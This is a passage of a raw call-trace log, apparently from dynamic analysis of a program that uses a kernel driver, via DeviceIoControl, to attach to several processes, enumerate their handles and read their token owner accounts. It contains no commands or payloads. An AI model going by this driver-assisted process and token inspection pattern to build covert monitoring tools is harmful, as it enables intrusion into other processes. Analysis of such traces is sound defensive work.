lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.995] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.995] PsAcquireProcessExitSynchronization () returned 0x0 [0122.995] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880044355d0) [0122.995] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fb4830, HandleInformation=0x0) returned 0x0 [0122.995] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.995] PsReleaseProcessExitSynchronization () returned 0x2 [0122.996] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0122.996] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.996] ObfDereferenceObject (Object=0xfffffa8001fb4830) returned 0x1 [0122.996] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.996] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.996] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.996] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0122.996] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.996] PsAcquireProcessExitSynchronization () returned 0x0 [0122.996] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880044355d0) [0122.996] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fc7a20, HandleInformation=0x0) returned 0x0 [0122.996] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.996] PsReleaseProcessExitSynchronization () returned 0x2 [0122.996] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0122.996] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.996] ObfDereferenceObject (Object=0xfffffa8001fc7a20) returned 0x1 [0122.996] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.996] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.996] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.996] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.996] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.996] PsAcquireProcessExitSynchronization () returned 0x0 [0122.996] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880044355d0) [0122.996] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.996] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.996] PsReleaseProcessExitSynchronization () returned 0x2 [0122.996] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0122.996] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.996] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.996] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.996] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.997] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x940) returned 0xc0 [0122.997] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.997] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002002b30, HandleInformation=0x0) returned 0x0 [0122.997] ObOpenObjectByPointer (in: Object=0xfffffa8002002b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.997] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x12 [0122.997] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.997] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.997] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.997] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.997] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.998] CloseHandle (hObject=0xc8) returned 1 [0122.998] CloseHandle (hObject=0xc0) returned 1 [0122.998] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.998] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.998] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.998] PsAcquireProcessExitSynchronization () returned 0x0 [0122.998] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880044355d0) [0122.998] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001ffd180, HandleInformation=0x0) returned 0x0 [0122.999] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.999] PsReleaseProcessExitSynchronization () returned 0x2 [0122.999] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0122.999] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.999] ObfDereferenceObject (Object=0xfffffa8001ffd180) returned 0x1 [0122.999] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.999] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.999] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.999] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0122.999] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.999] PsAcquireProcessExitSynchronization () returned 0x0 [0122.999] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880044355d0) [0122.999] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fff410, HandleInformation=0x0) returned 0x0 [0122.999] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.999] PsReleaseProcessExitSynchronization () returned 0x2 [0122.999] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0122.999] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.999] ObfDereferenceObject (Object=0xfffffa8001fff410) returned 0x1 [0122.999] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.999] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.999] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.999] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.999] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.999] PsAcquireProcessExitSynchronization () returned 0x0 [0122.999] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880044355d0) [0122.999] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.999] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.999] PsReleaseProcessExitSynchronization () returned 0x2 [0122.999] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0122.999] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.999] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.999] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.000] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.000] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x950) returned 0xc0 [0123.000] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.000] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020287d0, HandleInformation=0x0) returned 0x0 [0123.000] ObOpenObjectByPointer (in: Object=0xfffffa80020287d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0123.000] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x12 [0123.000] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0123.000] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0123.000] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.000] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.000] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.001] CloseHandle (hObject=0xc8) returned 1 [0123.001] CloseHandle (hObject=0xc0) returned 1 [0123.001] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.002] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.002] PsAcquireProcessExitSynchronization () returned 0x0 [0123.002] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880044355d0) [0123.002] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002028070, HandleInformation=0x0) returned 0x0 [0123.002] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.002] PsReleaseProcessExitSynchronization () returned 0x2 [0123.002] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0123.002] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.002] ObfDereferenceObject (Object=0xfffffa8002028070) returned 0x1 [0123.002] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.002] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.002] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0123.002] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.002] PsAcquireProcessExitSynchronization () returned 0x0 [0123.002] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880044355d0) [0123.002] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800202e3a0, HandleInformation=0x0) returned 0x0 [0123.002] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.002] PsReleaseProcessExitSynchronization () returned 0x2 [0123.002] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0123.002] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.002] ObfDereferenceObject (Object=0xfffffa800202e3a0) returned 0x1 [0123.002] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.002] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.002] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.002] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.002] PsAcquireProcessExitSynchronization () returned 0x0 [0123.002] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880044355d0) [0123.002] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.002] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.003] PsReleaseProcessExitSynchronization () returned 0x2 [0123.003] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0123.003] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.003] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.003] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.003] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.003] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x960) returned 0xc0 [0123.003] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.003] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002042b30, HandleInformation=0x0) returned 0x0 [0123.003] ObOpenObjectByPointer (in: Object=0xfffffa8002042b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0123.003] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x12 [0123.003] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0123.003] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0123.003] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.003] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.003] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.004] CloseHandle (hObject=0xc8) returned 1 [0123.004] CloseHandle (hObject=0xc0) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.004] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.004] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.004] PsAcquireProcessExitSynchronization () returned 0x0 [0123.004] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880044355d0) [0123.005] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800203d8f0, HandleInformation=0x0) returned 0x0 [0123.005] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.005] PsReleaseProcessExitSynchronization () returned 0x2 [0123.005] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0123.005] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.005] ObfDereferenceObject (Object=0xfffffa800203d8f0) returned 0x1 [0123.005] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.005] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.005] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.005] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.005] PsAcquireProcessExitSynchronization () returned 0x0 [0123.005] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880044355d0) [0123.005] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002043a20, HandleInformation=0x0) returned 0x0 [0123.005] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.005] PsReleaseProcessExitSynchronization () returned 0x2 [0123.005] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0123.005] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.005] ObfDereferenceObject (Object=0xfffffa8002043a20) returned 0x1 [0123.005] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.005] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.005] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.005] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.005] PsAcquireProcessExitSynchronization () returned 0x0 [0123.005] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880044355d0) [0123.005] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.005] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.005] PsReleaseProcessExitSynchronization () returned 0x2 [0123.005] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0123.005] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: 